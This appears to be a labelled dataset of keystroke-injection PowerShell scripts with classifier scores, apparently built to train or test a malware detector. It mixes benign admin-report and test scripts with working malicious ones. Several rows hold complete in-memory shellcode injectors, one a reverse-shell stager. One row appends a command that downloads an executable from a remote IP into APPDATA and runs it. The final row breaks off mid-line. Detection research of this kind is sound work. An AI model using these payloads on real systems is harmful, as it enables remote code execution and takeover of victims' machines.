"win+r enter powershell enter enter enter $JsKO = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $JsKO -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xc4,0xba,0xb3,0xfd,0xec,0x2b,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,0x47,0x31,0x56,0x18,0x83,0xc6,0x04,0x03,0x56,0xa7,0x1f,0x19,0xd7,0x2f,0x5d,0xe2,0x28,0xaf,0x02,0x6a,0xcd,0x9e,0x02,0x08,0x85,0xb0,0xb2,0x5a,0xcb,0x3c,0x38,0x0e,0xf8,0xb7,0x4c,0x87,0x0f,0x70,0xfa,0xf1,0x3e,0x81,0x57,0xc1,0x21,0x01,0xaa,0x16,0x82,0x38,0x65,0x6b,0xc3,0x7d,0x98,0x86,0x91,0xd6,0xd6,0x35,0x06,0x53,0xa2,0x85,0xad,0x2f,0x22,0x8e,0x52,0xe7,0x45,0xbf,0xc4,0x7c,0x1c,0x1f,0xe6,0x51,0x14,0x16,0xf0,0xb6,0x11,0xe0,0x8b,0x0c,0xed,0xf3,0x5d,0x5d,0x0e,0x5f,0xa0,0x52,0xfd,0xa1,0xe4,0x54,0x1e,0xd4,0x1c,0xa7,0xa3,0xef,0xda,0xda,0x7f,0x65,0xf9,0x7c,0x0b,0xdd,0x25,0x7d,0xd8,0xb8,0xae,0x71,0x95,0xcf,0xe9,0x95,0x28,0x03,0x82,0xa1,0xa1,0xa2,0x45,0x20,0xf1,0x80,0x41,0x69,0xa1,0xa9,0xd0,0xd7,0x04,0xd5,0x03,0xb8,0xf9,0x73,0x4f,0x54,0xed,0x09,0x12,0x30,0xc2,0x23,0xad,0xc0,0x4c,0x33,0xde,0xf2,0xd3,0xef,0x48,0xbe,0x9c,0x29,0x8e,0xc1,0xb6,0x8e,0x00,0x3c,0x39,0xef,0x09,0xfa,0x6d,0xbf,0x21,0x2b,0x0e,0x54,0xb2,0xd4,0xdb,0xc1,0xb7,0x42,0x24,0xbd,0xc7,0x12,0xcc,0xbc,0x37,0x13,0xb6,0x48,0xd1,0x43,0x98,0x1a,0x4e,0x23,0x48,0xdb,0x3e,0xcb,0x82,0xd4,0x61,0xeb,0xac,0x3e,0x0a,0x81,0x42,0x97,0x62,0x3d,0xfa,0xb2,0xf9,0xdc,0x03,0x69,0x84,0xde,0x88,0x9e,0x78,0x90,0x78,0xea,0x6a,0x44,0x89,0xa1,0xd1,0xc2,0x96,0x1f,0x7f,0xea,0x02,0xa4,0xd6,0xbd,0xba,0xa6,0x0f,0x89,0x64,0x58,0x7a,0x82,0xad,0xcc,0xc5,0xfc,0xd1,0x00,0xc6,0xfc,0x87,0x4a,0xc6,0x94,0x7f,0x2f,0x95,0x81,0x7f,0xfa,0x89,0x1a,0xea,0x05,0xf8,0xcf,0xbd,0x6d,0x06,0x36,0x89,0x31,0xf9,0x1d,0x0b,0x0d,0x2c,0x5b,0x79,0x7f,0xec;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$4Psu=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($4Psu.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$4Psu,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2752384e-05,0.9999472
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_gu0lyr6b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process -Name ""chrome"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 40 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_40.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996483,3.517109e-05
"win+r powershell enter $vCenterServer = ""server.contoso.com"" try { if(-not (Get-PSSnapin VMware.Vim enter Automation.Core -ErrorAction SilentlyContinue)) { Add-PSSnapin VMware.VimAutoma enter tion.Core -ErrorAction Stop } Set-PowerCLIConfiguration -DefaultVIServerMod enter e Single -InvalidCertificateAction Ignore -Confirm:$false -ErrorAction Stop enter enter",1,1,0.0062567666,0.99374324
"win+r powershell enter  function Test-ServerActiveDirectoryAdministrator ($location = ""North Europe"") enter { $rg = Create-ResourceGroupForTest $server = Create-ServerForTest $rg ""12. enter 0"" $location try { $activeDirectoryGroup1 = ""testAADaccount"" $activeDirect enter oryGroup1ObjectId = ""41732a4a-e09e-4b18-9624-38e252d68bbf"" enter",1,1,0.00070686714,0.9992931
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_0dbbmgbw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.434092e-05
"win+r enter powershell enter enter enter function Complete enter { enter [CmdletBinding()] enter param ( enter [string] enter $Expression enter ) enter process enter { enter [System.Management.Automation.CommandCompletion]::CompleteInput( enter $Expression, enter $Expression.Length, enter $null enter ).CompletionMatches enter } enter } enter enter Describe 'Completion tests: Tepp System' { enter enter function Get-Alcohol enter { enter [CmdletBinding()] enter Param ( enter [string] enter $Type, enter enter [string] enter $Unit = ""Pitcher"" enter ) enter enter Write-Host ""Drinking a $Unit of $Type"" enter } enter Register-PSFTeppScriptblock -Name 'alcohol.type' -ScriptBlock { 'Beer', 'Mead', 'Whiskey', 'Wine', 'Vodka', 'Rum (3y)', 'Rum (5y)', 'Rum (7y)' } enter Register-PSFTeppArgumentCompleter -Command Get-Alcohol -Parameter Type -Name 'alcohol.type' enter Register-PSFTeppScriptblock -Name 'alcohol.unit' -ScriptBlock { enter switch ($fakeBoundParameter.Type) enter { enter 'Mead' { 'Mug', 'Horn', 'Barrel' } enter 'Wine' { 'Glas', 'Bottle' } enter 'Beer' { 'Halbes Maß', 'Maß' } enter default { 'Glas', 'Pitcher' } enter } enter } enter Register-PSFTeppArgumentCompleter -Command Get-Alcohol -Parameter Unit -Name 'alcohol.unit' enter It 'can complete a straight completion' { enter Complete 'Get-Alcohol -Type B' | Should -HaveProperty CompletionText -WithValue Beer enter } enter It 'can complete a completion dependent on another parameter value' { enter Complete 'Get-Alcohol -Type Beer -Unit M' | Should -HaveProperty CompletionText -WithValue 'Maß' enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,6.1941886e-05,0.999938
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_cxrewajm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4367196e-05
"win+r enter powershell enter enter enter function Test-SearchGetSearchResultsAndUpdate enter { enter $rgname = ""mms-eus"" enter $wsname = ""188087e4-5850-4d8b-9d08-3e5b448eaecd"" enter enter $top = 5 enter enter $searchResult = Get-AzOperationalInsightsSearchResults -ResourceGroupName $rgname -WorkspaceName $wsname -Top $top -Query ""*"" enter enter Assert-NotNull $searchResult enter Assert-NotNull $searchResult.Metadata enter Assert-NotNull $searchResult.Value enter Assert-AreEqual $searchResult.Value.Count $top enter $stringType = ""string"".GetType() enter $valueType = $searchResult.Value.GetType() enter $valueIsString = $valueType.GenericTypeArguments.Contains($stringType) enter Assert-AreEqual $true $valueIsString enter enter $idArray = $searchResult.Id.Split(""/"") enter $id = $idArray[$idArray.Length-1] enter $updatedResult = Get-AzOperationalInsightsSearchResults -ResourceGroupName $rgname -WorkspaceName $wsname -Id $id enter enter Assert-NotNull $updatedResult enter Assert-NotNull $updatedResult.Metadata enter Assert-NotNull $searchResult.Value enter } enter function Test-SearchGetSchema enter { enter $wsname = Get-ResourceName enter $dsName = Get-ResourceName enter $rgname = Get-ResourceGroupName enter $wslocation = Get-ProviderLocation enter enter New-AzResourceGroup -Name $rgname -Location $wslocation -Force enter $workspace = New-AzOperationalInsightsWorkspace -ResourceGroupName $rgname -Name $wsname -Location $wslocation -Sku premium -Force enter $schema = Get-AzOperationalInsightsSchema -ResourceGroupName $rgname -WorkspaceName $wsname enter Assert-NotNull $schema enter Assert-NotNull $schema.Metadata enter Assert-AreEqual $schema.Metadata.ResultType ""schema"" enter Assert-NotNull $schema.Value enter } enter function Test-SearchGetSavedSearchesAndResults enter { enter $rgname = ""mms-eus"" enter $wsname = ""188087e4-5850-4d8b-9d08-3e5b448eaecd"" enter enter $savedSearches = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname enter enter Assert-NotNull $savedSearches enter Assert-NotNull $savedSearches.Value enter enter $idArray = $savedSearches.Value[0].Id.Split(""/"") enter $id = $idArray[$idArray.Length-1] enter enter $savedSearch = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname -SavedSearchId $id enter enter Assert-NotNull $savedSearch enter Assert-NotNull $savedSearch.ETag enter Assert-NotNull $savedSearch.Id enter Assert-NotNull $savedSearch.Properties enter Assert-NotNull $savedSearch.Properties.Query enter enter $savedSearchResult = Get-AzOperationalInsightsSavedSearchResults -ResourceGroupName $rgname -WorkspaceName $wsname -SavedSearchId $id enter enter Assert-NotNull $savedSearchResult enter Assert-NotNull $savedSearchResult.Metadata enter Assert-NotNull $savedSearchResult.Value enter } enter function Test-SearchSetAndRemoveSavedSearches enter { enter $wsname = Get-ResourceName enter $dsName = Get-ResourceName enter $rgname = Get-ResourceGroupName enter $wslocation = Get-ProviderLocation enter enter New-AzResourceGroup -Name $rgname -Location $wslocation -Force enter $workspace = New-AzOperationalInsightsWorkspace -ResourceGroupName $rgname -Name $wsname -Location $wslocation -Sku premium -Force enter enter $id = ""test-new-saved-search-id-2015"" enter $displayName = ""TestingSavedSearch"" enter $category = ""Saved Search Test Category"" enter $version = 1 enter $query = ""* | measure Count() by Computer"" enter $savedSearches = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname enter $count = $savedSearches.Value.Count enter $newCount = $count + 1 enter $tags = @{""Group"" = ""Computer""} enter enter New-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname -SavedSearchId $id -DisplayName $displayName -Category $category -Query $query -Tag $tags -Version $version -Force enter $savedSearches = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname enter Assert-AreEqual $savedSearches.Value.Count $newCount enter enter $etag = """" enter ForEach ($s in $savedSearches.Value) enter { enter If ($s.Properties.DisplayName.Equals($displayName)) { enter $etag = $s.ETag enter } enter } enter $query = ""* | distinct Computer"" enter Set-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname -SavedSearchId $id -DisplayName $displayName -Category $category -Query $query -Tag $tags -Version $version -ETag $etag enter $savedSearches = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname enter Assert-AreEqual $savedSearches.Value.Count $newCount enter enter $found = 0 enter $hasTag = 0 enter ForEach ($s in $savedSearches.Value) enter { enter If ($s.Properties.DisplayName.Equals($displayName) -And $s.Properties.Query.Equals($query)) { enter $found = 1 enter If ($s.Properties.Tags[""Group""] -eq ""Computer"") { enter $hasTag = 1 enter } enter } enter } enter Assert-AreEqual $found 1 enter Assert-AreEqual $hasTag 1 enter Remove-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname -SavedSearchId $id enter $savedSearches = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname enter Assert-AreEqual $savedSearches.Value.Count $count enter } enter enter",0,0,0.9998933,0.00010663396
"win+r powershell enter $anjO = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $anjO - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdd,0xc6 enter ,0xbd,0x8a,0x08,0x9c,0xe1,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1,0x47,0x31,0x6a enter ,0x18,0x03,0x6a,0x18,0x83,0xc2,0x8e,0xea,0x69,0x1d,0x66,0x68,0x91,0xde,0x76,0x0d enter ,0x1b,0x3b,0x47,0x0d,0x7f,0x4f,0xf7,0xbd,0x0b,0x1d,0xfb,0x36,0x59,0xb6,0x88,0x3b enter ,0x76,0xb9,0x39,0xf1,0xa0,0xf4,0xba,0xaa,0x91,0x97,0x38,0xb1,0xc5,0x77,0x01,0x7a enter ,0x18,0x79,0x46,0x67 enter enter",1,1,5.4216882e-05,0.99994576
win+r powershell enter $subReddit = @( 'EarthPorn' 'SkyPorn' 'BotanicalPorn' 'waterporn' enter 'VillagePorn' 'Beachporn' 'lakeporn' enter enter,1,1,0.009470054,0.99052995
DUCKY_REAL_BEGIN enter REM This simple program will induce a browser crash (for realz) by typing a special link into the address bar enter DELAY 500 enter CTRL n enter DELAY 100 enter STRING chrome://inducebrowsercrashforrealz enter DELAY 50 enter ENTER enter DUCKY_REAL_END,1,1,5.8190184e-05,0.9999418
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x95,0x68,0x02,0x00,0x15,0xb3,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
win+r powershell enter function Test-CAdminPrivilege { [CmdletBinding()] param( ) Set-StrictMod enter e -Version 'Latest' Use-CallerPreference -Cmdlet $PSCmdlet -Session $Execution enter Context.SessionState $identity = [Security.Principal.WindowsIdentity]::GetCurr enter ent() enter,1,1,0.0026813427,0.9973187
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_4wb0rec7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 20 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_20.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 2."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996483,3.5130124e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xc5,0xd9,0x74,0x24,0xf4,0x58,0x2b,0xc9,0xbd,0xda,0x02,0x3a,0xc8,0xb1,0x59,0x31,0x68,0x19,0x83,0xe8,0xfc,0x03,0x68,0x15,0x38,0xf7,0xc6,0x20,0x3e,0xf8,0x36,0xb1,0x5e,0x70,0xd3,0x80,0x5e,0xe6,0x97,0xb3,0x6e,0x6c,0xf5,0x3f,0x05,0x20,0xee,0xb4,0x6b,0xed,0x01,0x7c,0xc1,0xcb,0x2c,0x7d,0x79,0x2f,0x2e,0xfd,0x83,0x7c,0x90,0x3c,0x4c,0x71,0xd1,0x79,0xb0,0x78,0x83,0xd2,0xbf,0x2f,0x34,0x56,0xf5,0xf3,0xbf,0x24,0x18,0x74,0x23,0xfc,0x1b,0x55,0xf2,0x76,0x42,0x75,0xf4,0x5b,0xff,0x3c,0xee,0xb8,0xc5,0xf7,0x85,0x0b,0xb2,0x09,0x4c,0x42,0x3b,0xa5,0xb1,0x6a,0xce,0xb7,0xf6,0x4d,0x30,0xc2,0x0e,0xae,0xcd,0xd5,0xd4,0xcc,0x09,0x53,0xcf,0x77,0xda,0xc3,0x2b,0x89,0x0f,0x95,0xb8,0x85,0xe4,0xd1,0xe7,0x89,0xfb,0x36,0x9c,0xb6,0x70,0xb9,0x73,0x3f,0xc2,0x9e,0x57,0x1b,0x91,0xbf,0xce,0xc1,0x74,0xbf,0x11,0xaa,0x29,0x65,0x59,0x47,0x3e,0x14,0x00,0x00,0xae,0x42,0xcf,0xd0,0x46,0xfa,0x46,0xbf,0xff,0x50,0xf1,0x73,0x88,0x7e,0x06,0x73,0xa3,0x4e,0xd3,0xd8,0x18,0xe2,0xb0,0x8d,0xf6,0x3e,0x61,0x4b,0xa1,0xc0,0x58,0xf8,0xfe,0x54,0x60,0xac,0x53,0xc1,0xdd,0x53,0x53,0x11,0xca,0xde,0x53,0x11,0x0a,0xf0,0x64,0x5b,0x48,0x4a,0xdf,0x5b,0x1c,0x3a,0x88,0xd2,0x03,0x7c,0xc9,0x30,0xb2,0x47,0x66,0xd3,0xc5,0x75,0x68,0xa7,0x95,0x2a,0x3b,0xff,0x4a,0x9b,0xd3,0x14,0x39,0x0d,0x18,0x14,0x17,0xc7,0x34,0xe0,0xc7,0x80,0x48,0xc7,0xf7,0x50,0xc1,0xc8,0x92,0x54,0x81,0x62,0x7c,0x03,0x49,0x06,0xc4,0x35,0x0f,0x17,0x1d,0x1a,0x5c,0xbb,0xcd,0xcb,0x0a,0x16,0xf4,0xeb,0xb1,0x97,0x2d,0x8e,0x85,0x1d,0xc6,0xde,0x70,0x07,0x3e,0xab,0x7a,0xb7,0xbf,0x46,0x3a,0xdf,0xbf,0x86,0xba,0x1f,0xa8,0xa6,0xba,0x5f,0x28,0xf4,0xd2,0x07,0x8c,0xa9,0xc7,0x47,0x19,0xde,0x54,0xeb,0x2b,0x06,0x0d,0x63,0x2c,0xe9,0xb1,0x73,0x7f,0xbf,0xd9,0x61,0xe9,0xb6,0xfb,0x79,0xc0,0x4c,0x3b,0xf1,0x24,0xc5,0xbc,0xfb,0x79,0x5f,0x02,0x8e,0x98,0x38,0x41,0x2e,0x8b,0xce,0xba,0x2e,0xb4,0x03,0x75,0xe7,0x65,0x56,0x47,0x31,0x54,0xa2,0x94,0x13,0x9a,0xfb,0xe9,0x6b,0x61,0x0b,0xb8,0xce,0xc3,0x86,0xc2,0x5d,0x13,0x83;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.209862e-05,0.9999479
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_igv6w9d3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetRoute | enter Select-Object -First 25 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Export-Csv -Path (Join-Path $ReportDir ""network_routes.csv"") -NoTypeInformation enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4050914e-05
"win+r enter powershell enter enter enter function Get-SPORole enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [Microsoft.SharePoint.Client.RoleType]$rType enter ) enter enter $web = $clientContext.Web enter if ($web -ne $null) enter { enter $roleDefs = $web.RoleDefinitions enter $clientContext.Load($roleDefs) enter $clientContext.ExecuteQuery() enter $roleDef = $roleDefs | where {$_.RoleTypeKind -eq $rType} enter return $roleDef enter } enter return $null enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x02,0x0c,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.142917e-05,0.9999486
"win+r enter powershell enter enter enter $Nu5 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Nu5 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 